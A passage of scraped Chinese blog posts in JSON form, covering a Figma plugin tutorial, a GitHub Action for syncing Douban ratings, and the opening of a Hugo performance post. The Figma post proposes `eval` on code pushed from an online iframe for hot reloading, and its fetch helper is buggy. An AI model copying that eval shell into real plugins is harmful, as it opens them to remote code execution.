name=\u0026#34;width\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;label\u0026#34; style=\u0026#34;flex:0;\u0026#34;\u0026gt;×\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;input\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;input\u0026#34; class=\u0026#34;input__field\u0026#34; placeholder=\u0026#34;高\u0026#34; name=\u0026#34;height\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;field\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;\u0026#34; class=\u0026#34;label\u0026#34;\u0026gt;请选择图片分类：\u0026lt;/label\u0026gt; \u0026lt;div class=\u0026#34;content\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton1\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;any\u0026#34; name=\u0026#34;category\u0026#34; checked\u0026gt; \u0026lt;label for=\u0026#34;radioButton1\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;全部\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton2\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;animals\u0026#34; name=\u0026#34;category\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton2\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;动物\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton3\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;arch\u0026#34; name=\u0026#34;category\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton3\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;建筑\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton4\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;nature\u0026#34; name=\u0026#34;category\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton4\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;自然\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton5\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;people\u0026#34; name=\u0026#34;category\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton5\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;人物\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton6\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;tech\u0026#34; name=\u0026#34;category\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton6\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;科技\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;field\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;\u0026#34; class=\u0026#34;label\u0026#34;\u0026gt;请选择图片滤镜：\u0026lt;/label\u0026gt; \u0026lt;div class=\u0026#34;content\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton7\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;none\u0026#34; name=\u0026#34;filter\u0026#34; checked\u0026gt; \u0026lt;label for=\u0026#34;radioButton7\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;正常\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton8\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;grayscale\u0026#34; name=\u0026#34;filter\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton8\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;黑白照\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;radio\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;radioButton9\u0026#34; type=\u0026#34;radio\u0026#34; class=\u0026#34;radio__button\u0026#34; value=\u0026#34;sepia\u0026#34; name=\u0026#34;filter\u0026#34; \u0026gt; \u0026lt;label for=\u0026#34;radioButton9\u0026#34; class=\u0026#34;radio__label\u0026#34;\u0026gt;老照片\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;field\u0026#34; style=\u0026#34;padding:0 10px;\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;create\u0026#34; class=\u0026#34;icon-button\u0026#34; style=\u0026#34;width: 100%;\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;icon icon--image\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;type type--small type--medium type--inverse\u0026#34;\u0026gt;插入\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;icon-button loading hide\u0026#34; style=\u0026#34;width: 100%;\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;icon icon--swap\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 官方文档里有推荐 https://github.com/thomas-lowry/figma-plugin-ds 这个仓库，提供 Figma 的 UI 库组件，会让你的插件显的更加“原生”。\n由于之前说过所有的资源都需要内嵌到 html 中，所以我使用了 CDN 地址的形式引入了样式文件。另外由于功能比较简单，这里也没有使用 React 等框架去进行开发。官方模板中有 React 模板可以参考 https://github.com/figma/plugin-samples/tree/master/webpack-react\n获取图片 UI 完成之后接下来我们需要实现功能。我们需要将图片下载下来插入到 Figma 图层中。由于主线程没有网络能力，所以这部分工作需要在 UI 线程中完成，再通过 postMessage 传递回主线程中完成后续操作。具体的代码如下：\n\u0026lt;script\u0026gt; async function loadImage(url) { const resp = await fetch(\u0026#39;http://localhost:3000/\u0026#39; + url); const buffer = await resp.arrayBuffer(); return new Uint8Array(buffer); } document.getElementById(\u0026#39;create\u0026#39;).onclick = async (e) =\u0026gt; { const width = parseInt(document.querySelector(\u0026#39;input[name=\u0026#34;width\u0026#34;]\u0026#39;).value); const height = parseInt(document.querySelector(\u0026#39;input[name=\u0026#34;height\u0026#34;]\u0026#39;).value); const category = document.querySelector(\u0026#39;input[name=\u0026#34;category\u0026#34;]:checked\u0026#39;).value; const filter = document.querySelector(\u0026#39;input[name=\u0026#34;filter\u0026#34;]:checked\u0026#39;).value; const loading = document.querySelector(\u0026#39;.icon-button.loading\u0026#39;); e.target.classList.add(\u0026#39;hide\u0026#39;); loading.classList.remove(\u0026#39;hide\u0026#39;); const imgBytes = await loadImage(`https://placeimg.com/${width}/${height}/${category}/${filter}`); parent.postMessage({ pluginMessage: { type: \u0026#39;insert\u0026#39;, bytes: imgBytes, width: width, height: height } }, \u0026#39;*\u0026#39;); loading.classList.add(\u0026#39;hide\u0026#39;); e.target.classList.remove(\u0026#39;hide\u0026#39;); } \u0026lt;/script\u0026gt; 由于 UI 线程是一个纯 Web 环境，当我们使用 XMLHttpRequest 或者 fetch 发送请求的时候，肯定会碰到跨域的问题。按照文档 https://www.figma.com/plugin-docs/making-network-requests/ 提供的解决办法，我们只能依靠服务端加层代理来解决。\n当你的插件没有 UI 面板的时候，如何进行网络请求？按照文档所说，我们是可以设置 figma.ui.show() 的第二个参数，将其设置成 visible: false 的形式创建 iframe 获取数据。\n// code.ts function fetch(url, options) { const html = `\u0026lt;script\u0026gt; fetch(${url}, ${JSON.stringify(options)}).then(resp =\u0026gt; resp.json()).then(resp =\u0026gt; parent.sendMessage({ pluginMessage: { type: \u0026#39;networkRequest\u0026#39;, data: resp } }); \u0026lt;/script\u0026gt;`; return new Promise(resolve =\u0026gt; { figma.ui.on(\u0026#39;message\u0026#39;, msg =\u0026gt; msg.type === \u0026#39;networkRequest\u0026#39; \u0026amp;\u0026amp; resolve(msg.data) ); figma.ui.show(html, { visible: false }); }); } 插入图片 由于只有主线程才能操作 Figma 数据，所以需要在 UI 线程 postMessage 传递数据到主线程中继续进行操作。\n主线程中的步骤就比较简单了，使用 Figma API 创建好矩形并将图片填充即可完成图片的插入。\n我们可以通过设置 figma.currentPage.selection 设置选中项，并使用 figma.viewport.scrollAndZoomIntoView 将刚插入的数据滚动到视野中。\nfigma.ui.onmessage = msg =\u0026gt; { if (msg.type === \u0026#39;insert\u0026#39;) { const rectNode = figma.createRectangle(); const image = figma.createImage(msg.bytes); rectNode.name = \u0026#39;Image\u0026#39;; rectNode.resize(msg.width, msg.height); rectNode.fills = [{ imageHash: image.hash, scaleMode: \u0026#39;FILL\u0026#39;, scalingFactor: 0.5, type: \u0026#39;IMAGE\u0026#39; }]; figma.currentPage.appendChild(rectNode); figma.currentPage.selection = [rectNode]; figma.viewport.scrollAndZoomIntoView([rectNode]); } figma.closePlugin(); }; 除了需要显示的调用 figma.ui.show 来展示 UI 之外，在执行完插件后需要显示的调用 figma.closePlugin() 告知 Figma 进行关闭插件操作。\n优化插件 上面我们实现了配置宽高然后插入一张图片。但有时候我们会先插入一个矩形占位，之后才会将其替换成图片。所以我们可以优化下操作步骤，当选中到一个矩形的时候，自动获取到它的尺寸，然后点击插入后会直接插入到该矩形中。\n// code.ts function initSelectionState() { if (figma.currentPage.selection.length === 1 \u0026amp;\u0026amp; figma.currentPage.selection[0].type === \u0026#39;RECTANGLE\u0026#39;) { const rectNode = figma.currentPage.selection[0]; figma.ui.postMessage({ type: \u0026#39;update\u0026#39;, width: rectNode.width, height: rectNode.height }); } } figma.on(\u0026#39;selectionchange\u0026#39;, initSelectionState); initSelectionState(); 通过在主线程中监听 selectionchange 事件，我们能实时获取到当前选中的元素。我们将尺寸信息发送到 UI 线程后让其填充到输入框中称为默认值。\nwindow.onmessage = function(e) { if (e.data.pluginMessage.type === \u0026#39;update\u0026#39;) { document.querySelector(\u0026#39;input[name=\u0026#34;width\u0026#34;]\u0026#39;).value = e.data.pluginMessage.width; document.querySelector(\u0026#39;input[name=\u0026#34;height\u0026#34;]\u0026#39;).value = e.data.pluginMessage.height; } } 最后再插入的时候，我们也需要判断如果有选中矩形的话则优先使用选中的矩形，而不是新增矩形。\nlet rectNode: RectangleNode; if (figma.currentPage.selection.length === 1 \u0026amp;\u0026amp; figma.currentPage.selection[0].type === \u0026#39;RECTANGLE\u0026#39;) { rectNode = figma.currentPage.selection[0]; } else { rectNode = figma.createRectangle(); } // const rectNode = figma.createRectangle(); 插件发布 最终我们的插件的主体功能就开发完毕了。下面我们就可以进行插件的发布了。我们可以直接通过插件管理中 Publish 操作进行发布。\n和 Chrome 插件有点类似，Figma 插件支持发布到社区，也支持发布到组织。支持发布到多个组织中。发布到组织不需要审核，但只有该组织的同学和文件可使用。发布到社区的需要由 Figma 官方审核。\n插件调试 由于是 Web 技术向，所以 Figma 的插件调试非常简单。直接 Command + Shift + I 打开控制台即可。\n不过比较麻烦的是热更新的支持不太好。之前页面资源需要编译到 html 问价中的方式也不太友好。所以有人就想到了** iframe 套娃**来解决 UI 的更新问题。\n简单来说就是通过在 UI 线程中再嵌套一个在线页面，UI 线程作为主线程和新的 iframe 的消息中转。这样相当于将插件在线化，回到了纯 Web 开发模式了，热更新自然就没有什么问题了。\n不过这仅能解决 UI 线程的热更新问题，主线程如果有变化还需要重新更新插件解决。基于上面的方案，其实我们能做的更“绝”一点。我们可以将主线程变成一个壳，具体的业务代码由 iframe 下发，通过这种方式来解决主线程的更新问题。\n// ui.html parent.postMessage({ pluginMessage: { type: \u0026#39;MAIN_CODE\u0026#39;, code: \u0026#39;console.log(figma)\u0026#39; } }); // code.ts figma.ui.onmessage = (msg) =\u0026gt; { msg.type === \u0026#39;MAIN_CODE\u0026#39; \u0026amp;\u0026amp; eval(msg.code); } 后记 通过示例讲述了如何开发一个 Figma 插件，包含了获取 Figma 数据信息，操作 Figma 文件等双向操作。基于以上简单操作我们可以完成更多有意义的事情帮助我们更好的开发。比如快速导出多尺寸图片、导出图标自动发布到 npm 等…\n以上示例代码已发布到 GitHub 中，欢迎参考。\nhttps://github.com/lizheming/figma-placeimg\n","count":3711,"date":"2022年06月18日","featuredImage":"https://imnerd.org/assets/2022/how-to-build-figma-plugin/0.png","permalink":"https://imnerd.org/how-to-build-figma-plugin.html","summary":"\u003cp\u003eFigma 是一款专业的在线 UI 设计工具，它因为个人使用免费、在线跨平台、多人协作、蓬勃的 Figma Community 社区组织而广受欢迎。目前设计团队都在使用 Figma 进行 UI 设计交付。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e能被 SaaS 化的终将被 SaaS 化\u003c/p\u003e","time":8,"title":"如何制作 Figma 插件"},{"comments":{"data":[30],"errmsg":"","errno":0},"contents":" 2023-07-12 更新：《关于豆瓣图片无法直接使用的说明》\n简介 doumark-action 是我前段时间造的一个轮子。它是一款 GitHub Action，支持在 GitHub 中同步你的豆瓣书影音数据到本地的文件或者 Notion 中。我利用它，定时同步我的豆瓣观影数据到我的博客仓库中，并利用 Hugo 读取文件数据渲染成页面，观影 是最终的效果。\n使用 使用其实很简单，在你的博客仓库中新建 .github/workflows/douban.yml 文件，以观影为例添加如下内容。它实现了每小时自动抓取你的豆瓣观影记录并更新到文件中，如果发现文件有更新则触发 commit 提交。\nname: douban on: schedule: - cron: \u0026#34;30 * * * *\u0026#34; jobs: douban: name: Douban mark data sync runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v2 - name: movie uses: lizheming/doumark-action@master with: id: lizheming type: movie format: csv dir: ./douban - name: Commit uses: EndBug/add-and-commit@v8 with: message: \u0026#39;chore: update douban data\u0026#39; add: \u0026#39;./douban\u0026#39; 该 workflow 总共分为三步，第一步初始化 Git 仓库；第二步调用 doumark-action 同步豆瓣账号 lizheming 的 movie 类型数据到 ./douban 文件夹下，并保存为 csv 格式文件；最后一步则是当 ./douban 文件夹下有更新则调用插件提交修改。\nNotion 如果是要同步到 Notion 中会稍微复杂一点。需要先准备好 Notion Token 并初始化好页面。\n我们可以在 My Integrations 里创建机器人得到 NOTION_TOKEN。 电影 | 阅读 | 音乐 基于这三个模板点击右上角的 Duplicate 按钮渲染复制页面。 复制后的页面右上角选择右上角的 Share - Invite 将第一步创建的机器人加入，这样机器人就有权限更新你的页面数据。 # .github/workflows/douban.yml name: douban on: schedule: - cron: \u0026#34;30 * * * *\u0026#34; jobs: douban: name: Douban mark data sync runs-on: ubuntu-latest steps: - name: movie uses: lizheming/doumark-action@master with: id: lizheming type: movie format: notion dir: xxxx notion_token: ${{ secrets.notion_token }} 其中 format 需要为 notion，dir 为 Notion 页面 ID，Notion 页面 URL 第一个随机字符即为页面的 ID。\n渲染 数据已经有了，剩下的就是我们需要读取该数据源的数据，并渲染出页面。除了数据渲染之外，我还给自己增加了筛选查找的需求，所以我在头部还渲染了一些筛选项。\n{{$movies := getCSV \u0026#34;,\u0026#34; \u0026#34;douban/movie.csv\u0026#34; }} {{$scratch := newScratch}} {{$scratch.Add \u0026#34;genres\u0026#34; slice}} {{range $idx, $movie := $movies}} {{if ne $idx 0}} {{$scratch.Set \u0026#34;genres\u0026#34; (union ($scratch.Get \u0026#34;genres\u0026#34;) (split (index $movie 7) \u0026#34;,\u0026#34;))}} {{end}} {{end}} \u0026lt;div class=\u0026#34;sc-ksluID gFnzgG\u0026#34;\u0026gt; \u0026lt;!--分类筛选--\u0026gt; \u0026lt;div class=\u0026#34;sc-bdnxRM jvCTkj\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT kEoOHR\u0026#34; data-search=\u0026#34;genres\u0026#34; data-method=\u0026#34;contain\u0026#34; data-value=\u0026#34;\u0026#34;\u0026gt;全部\u0026lt;/a\u0026gt; {{range $genre := $scratch.Get \u0026#34;genres\u0026#34;}} \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;genres\u0026#34; data-method=\u0026#34;contain\u0026#34; data-value=\u0026#34;{{$genre}}\u0026#34;\u0026gt;{{$genre}}\u0026lt;/a\u0026gt; {{end}} \u0026lt;/div\u0026gt; \u0026lt;!--时间筛选--\u0026gt; \u0026lt;div class=\u0026#34;sc-bdnxRM jvCTkj\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT kEoOHR\u0026#34; data-search=\u0026#34;year\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;\u0026#34;\u0026gt;全部\u0026lt;/a\u0026gt; {{range $year := (seq 2022 -1 2009)}} \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;year\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;{{$year}}\u0026#34;\u0026gt;{{$year}}\u0026lt;/a\u0026gt; {{end}} \u0026lt;/div\u0026gt; \u0026lt;!--评分筛选--\u0026gt; \u0026lt;div class=\u0026#34;sc-bdnxRM jvCTkj\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT kEoOHR\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;\u0026#34;\u0026gt;全部\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;5\u0026#34;\u0026gt;五星\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;4\u0026#34;\u0026gt;四星\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;3\u0026#34;\u0026gt;三星\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;2\u0026#34;\u0026gt;二星\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;1\u0026#34;\u0026gt;一星\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sc-gtsrHT dvtjjf\u0026#34; data-search=\u0026#34;star\u0026#34; data-method=\u0026#34;equal\u0026#34; data-value=\u0026#34;0\u0026#34;\u0026gt;零星\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!--排序规则--\u0026gt; \u0026lt;div class=\u0026#34;sc-bdnxRM jvCTkj sort-by\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sort-by-item active\u0026#34; data-order=\u0026#34;time\u0026#34;\u0026gt; 观影时间排序 \u0026lt;/a\u0026gt; \u0026lt;a href=\u0026#34;javascript:void 0;\u0026#34; class=\u0026#34;sort-by-item\u0026#34; data-order=\u0026#34;rating\u0026#34;\u0026gt; 网友评分排序 \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-影片列表--\u0026gt; \u0026lt;div class=\u0026#34;sc-dIsUp fIuTG\u0026#34;\u0026gt; {{range $idx, $movie := $movies}} \u0026lt;!--排除第一行表头--\u0026gt; {{if ne $idx 0 }} \u0026lt;div class=\u0026#34;sc-gKAaRy dfdORB\u0026#34; data-year=\u0026#34;{{index $movie 9}}\u0026#34; data-star=\u0026#34;{{index $movie 8}}\u0026#34; data-rating=\u0026#34;{{index $movie 6}}\u0026#34; data-genres=\u0026#34;{{index $movie 7}}\u0026#34; \u0026gt; \u0026lt;a href=\u0026#34;{{index $movie 5}}\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;sc-hKFxyN HPRth\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lazyload-wrapper \u0026#34;\u0026gt; \u0026lt;img class=\u0026#34;lazy\u0026#34; data-src=\u0026#34;https://dou.img.lithub.cc/movie/{{ index (findRE `\\d+` (index $movie 5)) 0 }}.jpg\u0026#34; referrer-policy=\u0026#34;no-referrer\u0026#34; loading=\u0026#34;lazy\u0026#34; alt=\u0026#34;{{index $movie 1}}\u0026#34; width=\u0026#34;150\u0026#34; height=\u0026#34;220\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;sc-iCoGMd kMthTr\u0026#34;\u0026gt;{{index $movie 1}}\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;sc-fujyAs eysHZq\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;sc-jSFjdj jcTaHb\u0026#34;\u0026gt; {{range $star := (seq 0 2 8)}} \u0026lt;svg viewBox=\u0026#34;0 0 24 24\u0026#34; width=\u0026#34;24\u0026#34; height=\u0026#34;24\u0026#34; class=\u0026#34;sc-dlnjwi {{if gt (index $movie 6) $star}}lhtmRw{{else}}gaztka{{end}}\u0026#34;\u0026gt; \u0026lt;path fill=\u0026#34;none\u0026#34; d=\u0026#34;M0 0h24v24H0z\u0026#34;\u0026gt;\u0026lt;/path\u0026gt; \u0026lt;path fill=\u0026#34;currentColor\u0026#34; d=\u0026#34;M12 18.26l-7.053 3.948 1.575-7.928L.587 8.792l8.027-.952L12 .5l3.386 7.34 8.027.952-5.935 5.488 1.575 7.928z\u0026#34;\u0026gt;\u0026lt;/path\u0026gt; \u0026lt;/svg\u0026gt; {{end}} \u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;sc-pNWdM iibjPt\u0026#34;\u0026gt;{{index $movie 6}}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; {{end}} {{end}} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 整体的布局我使用了 Flex 布局，增加了图片懒加载。\n搜索 使用 CSS 的属性选择器，可以非常简单的实现搜索的功能。事先将数据通过属性挂载在 DIV 上，通过 [data-year^=2022][data-genres*=喜剧] 就可以查询到 2022 年看过的喜剧片了！\nfunction search(e) { // 隐藏全部电影 document.querySelectorAll(\u0026#39;.dfdORB\u0026#39;).forEach(item =\u0026gt; item.classList.add(\u0026#39;hide\u0026#39;)); // 移除当前筛选项之前的选项 document.querySelector(`.dvtjjf.active[data-search=\u0026#34;${e.target.dataset.search}\u0026#34;]`)?.classList.remove(\u0026#39;active\u0026#39;); // 如果选择的是非全部选项，则高亮该选项 if(e.target.dataset.value) { e.target.classList.add(\u0026#39;active\u0026#39;); } // 找到所有筛选项的值 const searchItems = document.querySelectorAll(\u0026#39;.dvtjjf.active\u0026#39;); // 根据筛选值拼接 CSS 选择器，JSON 数据类型的需要使用 *=，其它的需要使用 ^= const attributes = Array.from(searchItems, searchItem =\u0026gt; { const property = `data-${searchItem.dataset.search}`; const logic = searchItem.dataset.method === \u0026#39;contain\u0026#39; ? \u0026#39;*\u0026#39; : \u0026#39;^\u0026#39;; const value = searchItem.dataset.method === \u0026#39;contain\u0026#39; ? `${searchItem.dataset.value}` : searchItem.dataset.value; return `[${property}${logic}=\u0026#39;${value}\u0026#39;]`; }); const selector = `.dfdORB${attributes.join(\u0026#39;\u0026#39;)}`; // 找到目标元素对其进行展现操作 document.querySelectorAll(selector).forEach(item =\u0026gt; item.classList.remove(\u0026#39;hide\u0026#39;)); } window.addEventListener(\u0026#39;click\u0026#39;, function(e) { if(e.target.classList.contains(\u0026#39;sc-gtsrHT\u0026#39;)) { e.preventDefault(); search(e); } }); 排序 由于我使用了 Flex 布局，所以排序这个实行实际上是可以通过 Flex 的 order 属性来实现的。这样做的好处就是我不需要真的去修改 DOM 结构，只需要生成或者删除 CSS 就好了。\nfunction sort(e) { const sortBy = e.target.dataset.order; const style = document.createElement(\u0026#39;style\u0026#39;); style.classList.add(\u0026#39;sort-order-style\u0026#39;); document.querySelector(\u0026#39;style.sort-order-style\u0026#39;)?.remove(); document.querySelector(\u0026#39;.sort-by-item.active\u0026#39;)?.classList.remove(\u0026#39;active\u0026#39;); e.target.classList.add(\u0026#39;active\u0026#39;); if(sortBy === \u0026#39;rating\u0026#39;) { const movies = Array.from(document.querySelectorAll(\u0026#39;.dfdORB\u0026#39;)); movies.sort((movieA, movieB) =\u0026gt; { const ratingA = parseFloat(movieA.dataset.rating) || 0; const ratingB = parseFloat(movieB.dataset.rating) || 0; if(ratingA === ratingB) { return 0; } return ratingA \u0026gt; ratingB ? -1 : 1; }); const stylesheet = movies.map((movie, idx) =\u0026gt; `.dfdORB[data-rating=\u0026#34;${movie.dataset.rating}\u0026#34;] { order: ${idx}; }`).join(\u0026#39;\\r\\n\u0026#39;); style.innerHTML = stylesheet; document.body.appendChild(style); } } window.addEventListener(\u0026#39;click\u0026#39;, function(e) { if(e.target.classList.contains(\u0026#39;sort-by-item\u0026#39;)) { e.preventDefault(); sort(e); } }); 起因 很早以前我就养成了看完电影就要上豆瓣上标记一下的习惯，并在每年年末的时候统计一下。为了满足自己的需求，很早之前我写过一款 Chrome 插件，用于统计豆瓣电影记录，具体可以看这篇文章《豆瓣电影统计插件For Chrome》。\n在后来无意间知道了牧风老师开发的布克牧为，用户同步豆瓣记录数据并支持在第三方网站中挂件展示。所以我为我的博客增加了观影页面，用来展示我看过的电影。后来，每当我和朋友聊电影，想要推荐之前看过的电影给他们的时候，它也成为了重要的查找入口。\n布克牧为的第三方挂件样式很好看，但筛选功能偏弱，仅支持分类的筛选。对于我有搜索和统计的需求其实没办法很好的满足。再加之最近布克牧为时长不出数据，变的不太稳定，导致我又有了重新造轮子的想法。\n自从博客切换成 Hugo 之后，我对 SSG(Server Side Generate) 就非常的痴迷，连评论都是使用 SSG 的方式渲染到页面上的，具体可以查看我之前写的这篇文章《静态博客如何高性能插入评论》。于是关于这次的功能理所当然我也想使用类似的方式。\n所以最开始我是写了个独立的服务，该服务会定时抓取数据并更新到数据库中，同时提供了 API 用于获取数据。在博客中则去调用该接口获取到数据后渲染页面。后来因为需要找一个第三方定义任务服务，用于定时触发抓取任务接口。更新数据后还需要调用博客的构建触发器，同时又觉得每次构建的时候都需要花时间去请求一次接口有点浪费，就一直在思考有没有其它的方式。\n其实 Hugo 除了支持 JSON 接口的数据读取之外，也支持本地 CSV 文件的数据读取。直接读取从库中的表格文件获取到数据能减少不必要的网络请求，而表格文件更新的时候会自动触发 Git 操作从何触发博客的构建任务。所以最终就想到了 GitHub Action 的方案，通过免费的 GitHub Action 触发 CSV 文件的更新，最终触发构建更新。\n于是乎「doumark-action」这个项目就诞生了！\n","count":2558,"date":"2022年03月14日","featuredImage":"https://imnerd.org/assets/2022/doumark.png","permalink":"https://imnerd.org/doumark.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e2023-07-12 更新：\u003ca href=\"https://github.com/lizheming/doumark-action/issues/8\"\u003e《关于豆瓣图片无法直接使用的说明》\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"简介\"\u003e简介\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/lizheming/doumark-action\"\u003edoumark-action\u003c/a\u003e 是我前段时间造的一个轮子。它是一款 GitHub Action，支持在 GitHub 中同步你的豆瓣书影音数据到本地的文件或者 Notion 中。我利用它，定时同步我的豆瓣观影数据到我的博客仓库中，并利用 Hugo 读取文件数据渲染成页面，\u003ca href=\"https://imnerd.org/douban.html\"\u003e观影\u003c/a\u003e 是最终的效果。\u003c/p\u003e","time":6,"title":"豆瓣书影音同步 GitHub Action"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"我在之前的文章 《Hugo 主题 Eureka 自定义》 中有讲到我现在用的博客主题就是 Eureka。不过主题虽然好看，但是性能跑分却比较低。遂趁着周末时间给优化了一下，遂有本文。\n打开控制台看了下资源的加载，之前没注意，这会才发现首页竟然后 10M 这么多资源要加载，怪不得性能不好呢。\nJS 资源 JS 资源中大头是 FontAwesome，主题中直接使用了引用了所有图标的集成版地址 